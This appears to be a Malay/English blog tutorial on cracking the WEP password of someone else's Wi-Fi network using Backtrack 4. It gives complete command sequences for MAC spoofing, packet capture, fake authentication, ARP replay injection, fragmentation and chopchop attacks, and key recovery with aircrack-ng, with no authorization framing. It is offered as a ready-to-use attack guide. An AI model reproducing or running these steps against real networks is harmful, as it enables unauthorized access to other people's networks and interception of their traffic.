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Bagaimana nak Hack WEP WIFI password? Anda boleh menggunakan software Backtrack 4 iaitu sejenis sofware yang run ketika boot (carnya lebih kurang installer windows). Pelajari betul-betul step by step agar boleh difahami dengan mudah. (maaf, tutorial versi English sikit ya!)


CARA-CARA :

First, you will need to have Backtrack 4 .
you can download it here http://www.backtrack-linux.org/downloads/

I use the DVD version, U can get it from official Backtrack web.. After downloading and burning BT4, you will have to put the CD in your computer, then restart. It should automatically load BT4. if you will then be asked to log in...
login: root
pass: toor

After logging in, type in: startx

After that, BT4 should be up and running. Read below to see what you have to do next.

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NOTES

These are all different colors because they coordinate with parts of the code you will have to change when typing them.

wlan0 = Interface (Examples: wlan0, ath0, eth0)

ch = The channel the target is on (Examples: 6, 11)

bssid = MAC Address of target (Examples: 11:22:33:B1:44:C2)

ssid = Name of target (Examples: linksys, default)

filename = Name of .cap file (Examples: wep123, target, anythingyoutwant)

fragment-*.xor= The * being replaced by a number
(Examples: fragment-25313-0123.xor)

PASSWORD DECRYPTED (Examples: PA:SS:WO:RD or 09:87:65:43:21)
Ignore “:”

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WEP CRACK GUIDE

1. Boot computer with Backtrack 4 (login: root , pass: toor / “poweroff” at end)
2. Open Konsole and type the following:
3. airmon-ng (You will find your Interface here)
4. airmon-ng stop wlan0 ***My interface is wlan0. It may be yours also. Replace all the wlan0 with your own interface!***
5. ifconfig wlan0 down
6. macchanger --mac 00:11:22:33:44:55 wlan0
7. airmon-ng start wlan0
8. airodump-ng wlan0
9. Hit CTRL+C after finding WEP wanting to crack, then COPY THE BSSID
10. airodump-ng -c (ch) -w (file name) --bssid (bssid) wlan0
11. Open new Konsole and type the following:
12. aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 wlan0
13. aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0
14. Open new Konsole and type the following:
15. aircrack-ng -b (bssid) (file name)-01.cap

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ALTERNATE ATTACKS

FRAGMENTATION
1. After step 11 in the WEP CRACK GUIDE, type the following:
2. aireplay-ng -1 6000 -o 1 -q 10 -e (ssid) -a (bssid) -h 00:11:22:33:44:55 wlan0
3. aireplay-ng -5 -b (bssid) -h 00:11:22:33:44:55 wlan0
4. packetforge-ng -0 -a (bssid) -h 00:11:22:33:44:55 -k 255.255.255.255 -l 255.255.255.255 -y fragment-*.xor -w arp-packet
5. airodump-ng -c (ch) --bssid (bssid) -w (file name) wlan0
6. aireplay-ng -2 -r arp-packet wlan0
7. aircrack-ng -b (bssid) (file name)-01.cap

CHOPCHOP
1. After step 11 in the WEP CRACK GUIDE, type the following:
2. aireplay-ng -1 6000 -o 1 -q 10 -e (ssid) -a (bssid) -h 00:11:22:33:44:55 wlan0
3. aireplay-ng -4 -h 00:11:22:33:44:55 -b (bssid) wlan0
4. Repeat steps 4-7 in the FRAGMENTATION ATTACK


Video Tutorial :

http://www.youtube.com/watch?v=oHq-cKoYcr8

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apa yang anda perlukan adalah,wifi card yg compatible n bole inject packet..
the best wifi card is ALFA Network n most used by backtrack user..
kat sini ada list working n x working driver for wifi card...makesure u know before buy a new wifi card..aku da terkene..haha
TP-Link wifi usb not support at all....

http://www.backtrack-linux.org/wiki/...reless_Drivers


This tutorial for crack WEP WIFI password only, not for WPA/ WPA 2- PSK. Semoga Berjaya!